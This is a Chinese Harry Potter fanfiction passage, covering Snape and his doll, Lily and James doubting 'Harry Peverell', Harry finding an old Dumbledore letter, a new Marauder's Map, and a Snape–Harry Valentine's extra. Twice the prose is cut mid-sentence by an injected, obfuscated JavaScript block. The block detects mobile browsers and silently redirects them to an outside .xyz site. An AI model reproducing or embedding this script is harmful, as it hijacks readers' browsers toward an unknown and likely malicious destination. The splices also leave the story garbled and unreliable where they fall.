“缺乏进取精神。”人偶用标准斯内普式的口气反将一军,得意地看到原版斯内普的脸上涌上难看的红潮,“你忘了曼德拉草在恢复上的特殊作用。这张配方上纪录的狼毒药剂明显是治标不治本。” “没有证据证明曼德拉草的恢复功能适用于狼人身上。”斯内普决定悍然保卫自己在学术领域上的威严,仅剩的理智、又或者是想把人偶四分五裂碎尸万段的想法早被抛到熬过头的那锅魔药里,“我看你才是忘了曼德拉草还具有催情的作用。也许你会很乐意看到发情的狼人到处嚎叫?” 人偶显然被噎了一下,虽然布制的脸看不出任何脸色变化。 “既然如此——”人偶一咬牙,“我们各自按自己的想法调配,来比试一下。” 闻言,斯内普几乎想放声大笑,“我不需要在预言家日报上看到《斯内普在魔药制作上不敌斯内普人偶》的头条笑话。”说完他上上下下打量人偶不过十英寸长的身体,用一种居高临上,近乎怜悯的语气讥笑道,“况且凭你这身体还不够塞满坩埚的玩意?” “别瞧不起人了。”人偶高傲地昂起下巴,“我好歹在咖啡杯上试验过。” —————— 波特宅——。 莉莉一手托腮,笔尖无意识地在家庭账簿上敲击,直到一只手在她眼前挥动,把她的思绪拉回来。 “回过神了?哈利那小调皮呢?”詹姆斯笑着在她对面坐下。 “老地方,在把自己房间捣鼓得一塌糊涂后。”莉莉低头在记得密密麻麻的记账簿上添了几个数字。 詹姆斯细细打量她,见她并没有表现出任何不高兴,才说,“又跑去罗恩家玩了,他还真是乐此不彼。你刚刚在发什么呆?” 莉莉抬头看他,“在想孩子的名字。”翡翠石般的眼眸闪过一丝怀念的笑意,“菲奥娜怎么样?那是我姨妈的名字,可惜她已经去世了……我们曾经那么喜欢她的风趣活泼……” “怎么不想想会是个男孩。”詹姆斯故作戏谑地问。 莉莉不耐烦地挥挥手,“成天惹祸的捣蛋鬼一个就够了,再说哈利也想要——” 她忽然沉默下来,又恢复先前笔尖敲击的动作,像是在认真考虑要不要在纸上戳出个洞。 詹姆斯当然知道她口中的“哈利”是哪一个。 事实上在此之前,他们一直默契十足地刻意忽略这个问题。 “还记得尼法朵拉·唐克斯吗?”他兀然提起无关的话题。 疑惑地看了他一眼,莉莉故作开朗地说,“哦,印象可深刻了,那个经常把头发变成泡泡红、喜欢恶作剧的女孩子,对吗?去年还在霍格莫德碰到他们一家呢。怎么忽然提起她?” “她今年21岁,按年龄算比哈利……佩弗利尔小两岁。”詹姆斯含糊地说,“我今天去傲罗培训学校办事时偶然遇到她。” “你没做什么蠢事吧?嗯?” 莉莉严厉的眼神让詹姆斯有点发怵,“当然啦,我只是试探着问了一下……拜托了,莉莉,询问不是犯罪。”见妻子危险地眯起眼睛,詹姆斯赶忙缴械投降,“好吧好吧,我承认我对他好奇,你不是吗?我又没用我的职权去调查……”眼看着莉莉快到爆发边缘,詹姆斯顾不得掩饰,一口气说下去,“不管怎么说,唐克斯对高年级有这么个人完全没印象。” 暂且放了自己丈夫一马,莉莉陷入了短暂的沉思。 “说不定只是因为不同年级,没接触过也不奇怪。”她提出反驳。 “上次你也听见哈利说的了,泰迪告诉过他哈利·佩弗利尔是魁地奇队的。”詹姆斯撇撇嘴,“唐克斯当年也是。” “不排除她记性不好。” “她把在读七年里四个学院的魁地奇队员一个不落地背了出来。” 两人僵持片刻。 “所以?”莉莉放下手中的笔,为詹姆斯莫名的执着叹气。 “所以?”詹姆斯夸张地重复道,惊讶于自己妻子的反应迟钝,“这还不够清楚吗?显然他根本没在霍格沃兹读过书!”下半句话他憋在心里没敢说出口——哈利是在欺骗他们! 莉莉简直哭笑不得,“你调查了半天,就是试图暗示……证明这点?” 詹姆斯没有正面回答她的疑问,“莉莉,你对哈利·佩弗利尔有什么看法?呃……别说那些热情有礼貌讨人喜欢的陈词滥调。告诉我你看到他时的……感觉。” “我记得你那天哭了。”他在斟酌用词。 “那是意外。”意识到詹姆斯不会允许她回避这个问题,莉莉显得格外冷静,“假设你的猜测正确,他的确来历不明。确实,太多的巧合,还有他的相貌,我毫不怀疑莱姆斯和小天狼星也看出了点端倪,更不否认他可能真的和我们有某种形式的关系——尽管这种推测压根站不住脚。就算他没说真话,别说他和我们还没熟到无话不说的程度,我也愿意相信他并非故意隐瞒。我不知道他背后是不是有难以启齿的隐情,但那个孩子——”她努力把语气中蕴含的怒气压下,深深吸了口气,“看上去很信任我们不是吗?虽然见面不多,可我很喜欢他,还有泰迪。看看他们两个,你会认为他们是心怀不轨的人吗?” 没给詹姆斯开口的机会,莉莉接着说,“另外,我得说你们三个反应过头了。小天狼星简直和发了情的狗没两样,看他每次凤凰社会议时的兴奋劲。莱姆斯也好不到哪儿去。”莉莉暗自摇头,清楚自己也是因为在意,才会滔滔不绝把心中想法一股脑扔出来。她轻轻握住丈夫的手,“詹姆斯,我明白你的心情,不甘心得不到那孩子的信任,不是吗?你当然可以选择继续怀疑下去。” 詹姆斯被说中心事,耳朵根微微发红。这让莉莉不忍心告诉他,比起傲罗司司长,他现在更像犯错的小孩子。 “而我会选择相信,和等待。” —————— 睿瓦纳塔——。 哈利疲惫不堪地倒在沙发里,在翻遍整座睿瓦纳塔而搜寻不果后,他沮丧地——说不定,是高兴地——发现斯内普人偶确确实实没有跟着他回来。问题来了,它能跑去哪? 他若有所思地摸着下巴,昨天被忽略的画面忽地在眼前闪过,一个推论也随之而来。 哈利几乎怀疑那个人偶早就有了落跑的准备,只是没想到它吃了狮子胆竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156383|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢跟着原版跑。等等,就算它完美继承了斯内普的讽刺精髓,也不见得斯内普会宽宏大量。毕竟处理一个人偶是不会进阿兹卡班的,不是么? 他现在该担心的是事发后斯内普的反应,及自己可能会变得愈加凄惨的遭遇。 重重地叹口气,哈利感觉自己的生活被折腾得一团乱。如果要比喻他对麻烦的讨厌程度,海格曾让他们养过的弗洛伯毛虫倒是很适合。哈利兀自干笑两声,目光随意移动,被搁置在茶几上的书吸引了注意。 书本身很寻常,可他在意的是那个送书给泰迪的老人。 是的,盖勒特·格林德沃。哈利不需要更多证据去证明这点。 泰迪易容马格斯的能力已能完全化作他人的模样,虽然仅限于脸部——对于老人的脑袋滑稽地顶在小孩子的身上这么一副怪异的景象,哈利在忍俊不禁的同时直觉麻烦又来了。 他对格林德沃了解有限,泰迪口中狂傲不羁的老人和他的认知更是有所差距——你能指望蹲了几十年监狱的囚犯什么呢。但不难想像,那才符合他原本的身份。 而最令他吃惊的是,格林德沃居然敢当众把卢修斯·马尔福变成一只金鼬。哈利忍不住唇角上翘,这位老魔王倒是挺有穆迪作风的。 只不过,身为一位臭名昭著的黑巫师,偏偏又是邓布利多挚友的格林德沃,不是早该被关在纽蒙迦德的监狱里吗?若是越狱,邓布利多不可能不知情。那么那个偷偷摸摸跑去博金·博克,然后大摇大摆出现在对角巷的会是谁? 显然格林德沃并没有特意隐瞒自己的身份,至于他对泰迪的态度及后来那番话是带有何种目的—— 哈利摇摇头,打消了心里冒出的奇异念头。 这个过去,已经够乱了。 自从带着泰迪穿越时空回来后,他就像在一个找不到出口的迷宫里乱闯,走过拐角后才发现前面的路更加错综复杂——即使是当年三强争霸赛的迷宫也没有令他如此害怕迈出下一步。可以说他是在自欺欺人,但哈利真的不希望因为格林德沃的横空出现而给迷宫再加上若干个分岔口。 不管怎样,既然牵涉到那个人,他必须和邓布利多做下确认。 心烦意乱之下,哈利决定不再和自己的脑细胞过不去,拿过书便横躺在沙发上,漫不经心地翻阅起来。 他很好奇,如果一切如格林德沃所说,他能在这本书里找到什么? 在打了好几个哈欠后,一无所获的哈利终于开始怀疑那位黑巫师的可信度。 哈利不甘心地翻过新的一页,看了几行后顿住了。他翻回前页,匆匆看了两遍又翻回来,最后确定——这两页内容完全相同。 他当然不会相信巫师的书会发生麻瓜的书一般印重复的情况,何况多出来的那页正在他眼皮底下闪着金光呢。 面对书页的异状,哈利只是略微思索,便拔出魔杖对着它念了几句魔咒。 书页自动脱落后掉落到地上,并以肉眼可见的速度迅速伸展卷曲——最后呈现在哈利面前的,是一张旧得发黄、且皱巴巴的羊皮信纸,而且由那不整齐的边缘看来,似乎被谁撕去了下半张。 一封信? 哈利面带惑色地起身拾起它,可那股疑惑瞬间变成了难以置信,令他的脸上布满震惊。 盖勒特, 我必须请求你的原谅,为了我的愚蠢。因为你说得完全正确。 我的自以为是,以及对预言的盲信,导致了两个孩子的死亡。我应该受到谴责,哈利·波特和纳威·隆巴顿,他们年幼的生命本该比我这副在英国阴冷的雨中腐烂的老骨头更有活下去的价值。 对于预言中的未来并非既定的事实,我本该再清楚不过。可惜,我和伏地魔这一次都选择了相信预言会成真。如果硬要找出不同之处,我猜他是因为对未知威胁的恐惧,而我则是窃喜,期望着一颗也许能终结这片黑暗的希望之星。这一想法冲昏了我的头脑,错误估计了伏地魔的执着,所以我在起点便迷失了方向,再次犯下无法挽回的大错。把孩子们推上死路的也许不是伏地魔,而是我。 如果可以重新选择……你或许又会嘲笑我的妄想吧…… 信到此戛然而止。 哈利不自觉踉跄后退一步,瞳孔因悸震而猛烈收缩。他当然认出了那手细长的笔迹是属于谁的。可信里的内容给他带来的巨大冲击让他无法思考下去,却又不由自主地提出一个又一个质疑。 死了?谁?那个哈利·波特?那个纳威·隆巴顿?什么时候的事?这是愚人节玩笑吗,昨天泰迪还见过…… 然而,信头标示的日期给了哈利最后一击,触动了禁忌的某处。他微微发颤的手如同被魔咒击中似的,再也承受不住信纸的重量,任由它轻飘飘地又落回到地面。 在那一瞬间,他想起了什么? 只有那个日期——1981年11月1日,似乎一直在冷眼旁观这个扭曲的时代。 46. 新·活点地图 “罗恩,让开!快让开!” 听到自己的名字,罗恩茫然抬头,猝不及防被撞了个仰面朝天。 可怜那新买的、甚至还没来得及打蜡的彗星290成了垫底的牺牲品,而被撞的瞬间罗恩还傻乎乎地举着扫帚上蜡剂——脱手,在半空中划出优美的弧度,最后和他的额头亲吻。 一声惨叫在陋居不大的院子里回荡。 “刹车不及,抱歉!”趴在罗恩身上的乔治迅速撑起身子,语调轻松得一丝抱歉的意味都没有,“别说我没提醒你,亲爱的弟弟。” “提醒?你差点杀了我!”罗恩狼狈地在底下挣扎,一手使劲揉着撞得发红的额头,想用眼神把双胞胎哥哥谋杀,又指指滚在一边的上蜡剂,“还不止一次!” “得了吧伙计,只不过摔了一跤。”乔治耸肩,直接忽略罗恩额头上的肿包,“你也知道,练习高难度技巧总是需要承担一定的风险——” “而且这可是朗斯基假动作。”及时从空中飞下来看笑话的弗雷德幸灾乐祸地补充。 罗恩忿忿地抗议,“说到底,你们是击球手,练什么找球手的朗斯基假动作?” 乔治伸出一根手指在他面前摇晃,“错错错,好不容易逮到佩弗利尔教授给我们演示这么危险外加超高难度的技巧,我们怎么可以辜负他的一番好意?” “听上去像是你们强迫的。”罗恩翻了翻白眼。 “细节不重要,伙计!” “你现在该庆幸我们的脖子都没断。” “另外建议你去买今天的预言家彩票。” “包中!” 两人默契十足地上演大合唱:“哦看,这就是我们幸运的弟弟罗恩!” “闭嘴!” 罗恩恶狠狠地推开懒洋洋压着不肯动的乔治,急急忙忙抽出被坐在屁股底下的扫帚细细检查。 感谢梅林,完好无缺。 还没来得及为这个事实感到欣慰,右手不小心碰到裤袋时的奇异触感让他的神经瞬间冻结。 不会吧—— “我实在不明白,玩魁地奇时你还带着魔杖做什么?耍酷吗?”乔治手指头敲着下巴,一点不同情。 “别忘了,现在还是暑假,未成年巫师禁止使用魔法。”弗雷德跟着落井下石。 而罗恩只是捧着折成两段的魔杖,欲哭无泪。 “唉,伙计,向妈妈去坦白吧,趁她今天心情够好,说不定不会拔你的皮。”到底不是完全没心没肺,弗雷德安慰道,“当然这不全是你的错。” 罗恩没点头,也没应声。相反,弗雷德的话提醒了他。 “乔——治——”仿佛是从地狱传来的声音。 “啊,这么说来,佩弗利尔教授呢?”感受到危机的乔治退后两步,顾左右而言他,“泰迪也跑哪儿去了?” 正说着,就见泰迪从陋居跑出来,“嗨,哈利有急事先走了!还有,韦斯莱夫人准备好了点心——” 他兀地停下话头,敏锐地察觉三人间一触即发的古怪气氛,“你们怎么了?” 导火线引爆。 “哈哈,小意外小意外!”乔治嘻嘻哈哈地在罗恩的怒火中逃窜,顺手一拍泰迪的肩膀,朝他挤眉弄眼,进屋后一下子跑得不见了影子。 “乔治你这个混蛋有种给我站住!”罗恩跳起来,锲而不舍地追在后头。 迎接他的是韦斯莱夫人高八度的咆哮,“罗恩,我最后一次警告你,别在我的屋子里说脏话!” “乔治又惹到罗恩了吗?”一头雾水的泰迪歪着脑袋,问弗雷斯。 “没什么大不了的,年轻人精力过剩,欲求不满了。”弗雷德笑眯眯地回答。 看来罗恩的新魔杖会前途多舛。 …… …… 哈利一感应到睿瓦纳塔中出现的魔法波动,匆匆向泰迪和韦斯莱夫人打了个招呼便幻影移行了回去。 安静的空气,哈利微微皱眉——多比不在。那个往常他一回家就会大呼小叫地蹦过来迎接他的小精灵不在。 不寻常。仿佛从那一天起,一切都不正常了。 那个家养小精灵这几天经常魂不守舍,甚至比以往更容易一惊一乍的。 有时候,哈利敢肯定他清楚地在多比眼中看到掩饰得并不巧妙的恐惧。不禁疑惑,多比究竟在害怕什么?还是在隐瞒着什么? 但疑惑归疑惑,哈利没想过去逼问它,多比是他的朋友而不是仆人。 他慢慢地向书房走去,想起了那封几乎推翻他所有信念的信,口中不自觉逸出一声叹息。可能在泰迪他们眼中,他最近的表现也异常得很吧。不管是自告奋勇、几乎天天窝在陋居训练孩子们魁地奇,还是找借口连续翘了两次凤凰社的会议——那里有太多他在整理好情绪前暂时不想面对的人。 泰迪的担心是显而易见的,自从他亲眼目睹哈利又一次的魔力失控,满满的恐慌。 可除了用拙劣的笑容掩饰不安,哈利没法解释。 在书房里等候着的是两个不速之客,这令哈利感到些微惊讶。 一个是除了凤凰社会议,几乎不会主动来这里的斯内普。上次见面至少是一个星期前的事了。至于另一个却不是人类,哈利认出了那只被银色柔光包围的凤凰——邓布利多的守护神。 斯内普脸上乌云密布,毫不客气地霸占了他整个沙发,而凤凰守护神则停在衣帽架上。他们在哈利出现的瞬间不约而同把头转向他。 这个组合够奇特的。哈利摸摸鼻子,视线在凤凰和斯内普间来回转移,“你们是一起来的?” 凤凰保持着奇妙的安静,而斯内普连声招呼也欠奉,仅从鼻子哼了一个音节当做回答。 啊,否定。哈利恍然,随即被自我厌恶感取代。他是从什么时候开始,对斯内普那些极富特色、音调不同的单音节,能迅速而正确地理解其隐含的意思的? 哈利心里衡量一下,决定先解决守护神那里的问题。 “呃,请问你有什么要告诉我的吗?”哈利斟酌态度,不敢肯定守护神是不是听得懂他的话。 银色的凤凰歪着脑袋,眼睛闪闪发亮,似乎在打量哈利。 它该不会是在验明正身吧?哈利脑中升起这个荒唐的想法。 片刻,低沉而响亮的声音充满了整间起居室的空间—— 伤风已拿到吊饰。 声音的回响渐渐淡去,凤凰守护神的形象也变得模糊不清,随之消散在空气中。 哈利早已收敛起表情,像是陷入深思。 邓不利多传来的信息很简单,小天狼星成功从克利切处取得斯莱特林的挂坠盒。 他莫名觉得有些不真实,当时花了巨大代价才得到的魂器,如今轻轻松松就得到了。 剩下的问题就是用什么方法破坏它——格兰芬多宝剑或蛇牙。而他们现在一样都没有。 不管怎么说,这是个好开始。 哈利隐隐松一口气,眼睛飞快地往斯内普方向扫了一眼。后者依然保持着同样的坐姿,对先前的声音听而不闻。 “呼神护卫!” 久违的牡鹿守护神,散发着优雅的银光站在哈利的面前。 哈利眼角瞄到斯内普的眼神好像在关注着这边,无言地笑笑,他用魔杖尖对准自己的太阳穴,一缕细细的银白光丝自太阳穴逸出,跟随着魔杖的动作缓缓注入守护神的体内——把秘密信息交由守护神传达,这是凤凰社独创的通讯方法,至少在保密程度上比猫头鹰可靠许多。 光丝完全没入守护神,哈利稳稳握着魔杖的手终于出现一丝颤抖,一如手的主人思想上的摇摆不定。 轻轻甩了甩头,哈利收起魔杖,目送守护神撒开蹄子踏空远去,垂在两侧的手握紧起来。 那迟疑的一瞬间,其实是他在挣扎,挣扎是否给邓布利多的信息里加上那天以来一直存在的疑问:你到底还有什么计划?你和格林德沃之间到底…… 还有,活着的哈利·波特和纳威·隆巴顿,死去的“哈利”和“纳威”,哪一方才是真实? 想不通的地方有太多,他甚至开始怀疑,他和泰迪究竟来到了一个什么样的过去? 这个过去,真的存在吗? 可是,他不想只靠着半封来历不明的信去质问那个白发老人。他依然相信他最敬爱的校长。 哈利不习惯一个人痛苦纠结,长久以来他的身边总有人可以为他分担忧虑。所以他真是分外想念他的两个好友,想念他们还在他身边支持他的时光。只有在面对罗恩或赫敏时,哈利才能彻底抛弃所有顾虑和依赖他们,不会感到任何难以启齿的尴尬——曾经独一无二的“铁三角”。 甚至不用开口,两人的反应也在他想象范围内。 伙计,怎么可能呢?我是说……活得好好的人怎么会死了呢?这不是什么恶作剧吧?”首先是罗恩结结巴巴的发言。 “哈利,我敢说信的内容肯定有蹊跷。”赫敏则是一脸担忧、表情严肃,“别冲动,我们现在不能自乱阵脚,最好是先去图书馆查下时间理论方面相关的书。” 以后也只能在回忆中回味了吧。 现在的他,连身份都是伪装,还有谁可以完全信赖和依靠? 哈利转过身,与斯内普的视线短暂接触,又分开。他没问为什么——反正斯内普绝不会是来串门的——而是走到书桌后面,疲惫地倒进扶手椅里。 接下来很长的时间,两个人都没有开口的欲|望,沉默是唯一的主题。 “那只人偶在你那里?”哈利忽然问道,天知道他是纯粹好奇还是想避开某些话题。 斯内普眉梢一挑,尖锐地目光直视而来,看上去怒意浓厚。哈利寒毛立时竖了起来,也许他挑错了话题。 好吧,数次领教过斯内普人偶尖酸刻薄的哈利实在不难想象它还能做出更出格的事,尤其对象还是那个斯内普。 “它没做什么……呃,我是说……你没把它……不是不是……你们没怎么……”哈利一边吞吞吐吐一边对自己的小心翼翼感到恼怒。 当然,在他看到斯内普脸色向熬坏的魔药发展之后,明智地管住了自己的嘴巴。 现在为人偶哀悼还来得及吗?其实他真不讨厌它。 显然这不是斯内普乐意回答的问题,也不是他来这里的目的。 “提到人偶,”斯内普似笑非笑、轻声细语地说,蕴藏的阴毒令哈利不寒而栗,“看得出,我们从未来回来、无所不能的哈利·波特把他本来就为数不多的脑细胞都花在了制造不良产品上。或许我可以猜测,你翘了那两次会议是因为又有什么——啊——新灵感的迸发了?” 哈利没想到斯内普一开口就和他算翘掉会议的帐,一时找不出适当的反应,只能眼睁睁看着斯内普站起来,径直走到他面前,迫使他仰视黑发帘下的那双几乎永远带着冰冷和讥讽的黑瞳。 “或者说,你的灵感还会继续爆发下去?” “我只是有些私事……” “你在躲避谁?” 明明是上扬的语调,语气却出奇的肯定。出乎意料的单刀直入,又一针见血。 哈利呆呆地瘫坐在椅子上,震惊而无语。也许梅林可以告诉他,他表现得有这么明显吗? “我没有躲避谁。”他生硬地说,心跳快得不受控制。 “是凤凰社的人?”斯内普再问,直接把哈利的回答划入无效范围。 “你多虑了。”哈利回瞪他,无端感到烦躁。 他想到帷幕的另一端,想到伤疤的疼痛,想到泰迪身上的异变,想到伏地魔,想到那封信—— 他恨极了在这种时候跟这个人讨论这个问题! “是我?邓布利多?毕竟其他的人连你真实的姓都不知道……”斯内普咄咄逼人。 “我没有在躲避任何人!”哈利猛然坐直身子,愤怒地打断他,“你是在审我吗?难道,是邓布利多……叫你来的?” 斯内普哧的冷笑出声,“邓布利多倒是很担心你,你知道的,那老家伙可是把你放在手心里宠着,刚刚的守护神不就是最好的证据吗?但我不同——”他向前一步,气势迫人,“那么现在是怎么回事?莫名其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156384|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙地从未来回来,需要我们的时候利用,没有价值了就踢开一边?是想打退堂鼓吗?没关系,你尽管带着你的教子一起回去。” 无理的指控令哈利脸色惨白,“西弗勒斯·斯内普,你怎么敢——” “你真该去照照镜子看看你现在是副什么样子,波特!” “多谢提醒,我认为我的外表不是重点。” 两人僵持了十几秒,分毫不让。哈利苦笑一下,说话的声音接近无力,“如果你来只是为了这件事,我想我们的对话可以到此为止了。” 他试图站起来,可斯内普的手比他动作更快。啪的一声,哈利重新被推倒在椅子里,一根魔杖抵住他的喉咙。 哈利难以置信地瞪着鼻子底下的魔杖。“拿走你的魔杖!” “很遗憾,我们的对话远没到结束的时候。” “我想我说得很清楚了,西弗勒斯·斯内普!”哈利暴怒,“就算我要躲避什么人,你有什么立场来质疑我?” “立场?” 哈利深深吸了一口气,“我的一举一动,似乎和您无关,斯内普教授。”他故意重重强调“教授”这个词。 “和我无关?” 斯内普沉默两秒后,忽然勾起嘴角,露出毛骨悚然的笑容,比纯粹的怒火更残酷。他放下魔杖,换成弯腰双手撑在扶手上,垂头凑近哈利瞬间僵硬的脸,声音压得很低,“那你一开始就不该心血来潮把我拉下水!佩弗利尔教授!” 哈利觉得自己快要无法承受他的逼视,斯内普说的话刺痛了他的灵魂。 “你不知道……我……” 他不会知道,他在害怕什么。 “我没兴趣知道你的私人爱好。”斯内普直起腰板,拉开了和坐着的人的距离,但仍然占据居高临下优势。 但哈利恍若未闻,默默转开头,视线落在书桌的抽屉上——那封信在里面。 …… …… 门口传来轻微的咯吱声。稚声稚气的声音飘了进来,“哈利?” 哈利迅速回过头,冲着自己的教子微笑。 “打完魁地奇了?泰迪。 “嗯。韦斯莱夫人让我带南瓜馅饼给你。”泰迪用一脸想得到称赞的表情打开装着馅饼的大盒子。 “她真是太好心了!韦斯莱夫人做的馅饼可是我的最爱。”哈利夸张地赞美道,并把嘴里塞得满满的。“真好吃。” “那是当然,乔治弗雷德他们几个眼睛都发绿光呢!”泰迪得意地翘翘小鼻子,“罗恩在一旁可眼馋了,韦斯莱夫人罚他不准吃点心。” “韦斯莱夫人为什么罚他?”哈利干掉最后一块蜂蜜馅饼后,心满意足地叹了口气,并亲昵地摸摸教子的头。 泰迪偏了偏头,似乎不大愿意被当成小孩子看,“罗恩把自己的魔杖给弄坏了!”他摊摊手,“折断成两段呢,韦斯莱夫人可气坏了!” 哈利回想起罗恩那被打人柳毁掉的魔杖,哈哈大笑两声。 泰迪像是踌躇似地低头看着眼前只剩下一些碎末的空盒子,然后抬起视线,浅灰的大眼睛直直凝视自己的教父,用下定决心的声音说,“哈利……” “泰迪,拿着。” 他说着拉开书桌的抽屉,从里面抽出一块叠得方方正正的东西,展开后平铺在桌面上。 泰迪凑前一看,不禁有些傻眼。 那不过是张毫不出奇的空白羊皮纸。 “别以为这是普通的羊皮纸。”哈利笑着说,“这东西得等你到学校后才用得着,我恐怕。不过为什么我们不先试试看呢?拿出你的魔杖轻轻碰触它,第一次用得先报上自己的名字,再按照我接下来说的——‘我庄严宣誓我没打算遵守校规’,看看会出现什么。” 泰迪盯着羊皮纸瞧了好半天,瞧不出更多名堂后偏头可怜巴巴地看着哈利,“哈利,学生在暑假不可以用魔法。” “哦,没关系,这不是魔法,是种仪式。”哈利俏皮地挑起眉毛,又补充一句,“我什么时候骗过你?” 将信将疑地拔出魔杖,泰迪一边把魔杖尖置于纸上,边低声念道,“我是泰迪·卢平。我庄严宣誓我没打算遵守校规。” 什么也没发生。 泰迪失望地放下魔杖,不满地对自己的教父嘟起嘴,却很快发现一旦魔杖移开,羊皮纸正中央部分立时浮现出数条细长的墨水线条,向四个角落延伸的同时彼此交汇,片刻功夫便汇集成一幅地图的模样。泰迪震惊得嘴都合不上,刚准备俯身细看,构成地图的墨水线条却逐渐褪色,取而代之的是深红色的圆滑字迹: 勇敢的校规破坏者 闪电、红毛鼬及大门牙诸位先生小姐 携手为您献上 新一代霍格沃兹活点地图 泰迪目瞪口呆地瞪着这段文字,还没琢磨过来那几个名字的含义,一段新的文字就在他眼皮底下缓缓浮现。 【红毛鼬先生向泰迪·卢平先生致意,并善意地提醒他此地图仅在霍格沃兹内有效,使用时最好离纯血的五十步远,还要特别留意别让地图陷入某个油腻腻的老蝙蝠的魔掌。】 想到那个被称为老蝙蝠的魔药大师,泰迪被逗乐了,他闪亮的眼睛含着笑意,大感兴趣地往下一段看去—— 【闪电先生对红毛鼬先生后半部分的意见持保留态度,还想说他很喜欢乖宝宝的泰迪。】 泰迪只觉得脸都要冒烟了。可还没完…… 【大门牙小姐向聪明可爱的泰迪问好,顺便对红毛鼬先生致以万分的鄙视,劝他别把每个人都想得和他一样笨。】 “哈哈!”这回是哈利抢在前头笑出了声。“他们就算是在地图里也是一个样。” “他们?”泰迪不解地重复道,眼巴巴地望着哈利,“闪电、红毛鼬和大门牙?哈利你知道他们是谁?这张地图是哪里来的?” “这可是个秘密。”对教子一连串的问题避而不谈,哈利只是伸手宠溺地捏了捏他的鼻子,“回头和罗恩他们慢慢探索活点地图的用途吧,它可以让你们的课余生活丰富多彩。马上就是新的学年了不是吗? 47. 那一年的情人节 (此番外时间段为所有故事结束后的某个情人节……) 魔药大师一贯阴沉的表情再次扭曲,充满厌恶的。 不久前才和某人吵了一架——当然他认为是对方单方面地无理取闹——无论如何,他的心情不免正处于最低谷。 因此,他毫不犹豫地用魔杖对准第十二个尝试向他推销掺了迷魂药的情人节巧克力的人,并免费赠送一次与地面的亲密接触。 他受够了。 究竟是哪个混蛋巫师引进这种莫名其妙的麻瓜节日?除了在空中到处乱飘、撞到人就会尖叫“ILOVEYOU”的粉红爱心泡泡,或者摆满整个商店街的情人节礼品摊位,以及那些如胶如漆如同施了粘合咒的情侣们,他实在没看出这个节日有什么实用价值。 梅林作证,他不过是想来补充点魔药材料! 可上天不作美,他左前方一对小情侣正上演着法式热吻阻碍交通,右前方则是第十三个不怕死的推销员凑了过来——两方恰好把通往魔药店的唯一通道堵得严严实实的。 而那穿着奇特的巫师更是无视魔药大师周身散发的“生人勿近”的气息,嬉皮笑脸地捧出一个宝蓝色的小盒子,“这位尊敬的先生,想必您一定愿意在情人节给您的情人一份惊喜吧?”那是一对刻有巫师誓约的对戒。 雪上加霜。魔药大师的脸上瞬间结上一层厚厚的冰。 他真的受够了! …… …… 好不容易摆脱外头粉红得荒唐的气氛,一进家门看到的那一幕让魔药大师连杀人的心都有了——那个黑发绿眼的男人低头摆弄的不是一个人偶还能是什么? “嘿你回来了,魔药材料都买齐了?”男人快活向他点头,碧绿的眼睛充满笑意。 魔药大师为此暗叹——显然那个男人已经不记得他两小时前才说出“分手吧该死的老蝙蝠”“我受够了你的满脸褶子”之类的气话。也许因为他根本没在意过。 只是那个人偶,难道口头上落了下乘就用这种卑劣的手法来报复?魔药大师冷笑着大步走过去,目光似乎想把人偶千刀万剐,“我说过这辈子别再让我看到任何人偶!” “这不是我做的!”男人大声反驳,特意把手上的人偶凑到魔药大师鼻子底下,“你看鼻子这里都缝歪了,当年西普的做工有这么差吗?” 魔药大师怀抱起双臂,“说谎的水准还有待提高,否则你晚餐时得注意着点。”他居高临下地对坐在沙发上的男人挑眉,“说不定我手一‘滑’,会‘不小心’给你的玉米浓汤里加点额外的调味料,比如说吐真剂。” 男人干脆把人偶丢到旁边,勾上他的脖子,把他拽得弯下腰来,使得两人鼻子之间的距离缩短到一厘米,“那你也得注意着点,说不定最后尝到味道的不是我。”说着便在他唇角处偷了一个吻。 魔药大师甩开他的手,“说吧,哪里来的。” “泰迪刚寄过来的,说是什么……”黑发男人指指桌上拆开的信,“他们玩笑商店准备出品的爱情测试用情人节人偶,叫我们帮一下忙好让他们收集数据。他们做出的产品真是越来越稀奇古怪了,信里说得两个人一起……” “丢了。” “不要。”黑发男人急忙拉住想转身就走的魔药大师,“只不过是个游戏,耽误不了多少时间。” “放开。”后者想也不想地就拒绝。 “西弗勒斯·斯内普。”这回男人的声音有些不稳,“你真的吝啬到几分钟也不肯赏脸?我想帮他们不是因为别的,而是因为我离开后一直没尽到教父的责任,甚至不敢回去,你叫我怎么拒绝?对了,我找错人了,或许你根本不在乎我死后还会留下什么——” 男人猛然刹车,魔药大师愤怒的神情令他意识到自己说了禁语。 “放开!” 掩藏不住的怒火似乎下一秒就会爆发,男人的手只是攥得更紧,“你可以用魔法把我的手撞开,我没法用魔法反抗,你知道的。” 魔药大师并没有拔出魔杖。 气氛微妙。 两人僵持了好一会儿,男人放弃似的站起身,把脸贴近魔药大师板着的脸轻蹭,再次开腔,“西弗勒斯——”他又叫了一遍,声音放得更轻柔,“西弗勒斯,刚刚是我的错,拜托了。” 看着男人眼里央求的神色,尽管魔药大师依然铁青着脸,可最后还是认命地把自己甩进沙发里。 “来吧。” 一切顺利。 使用程序出乎意料的简单。用魔法印刻下两人名字后,人偶先是活动了一下手脚,发出一阵吱吱咯咯的声音。随后它笨手笨脚地在桌子上坐正身子,声音呆板地问出了第一个问题。 『请问您的名字是?』 两人诡异地对视一眼。 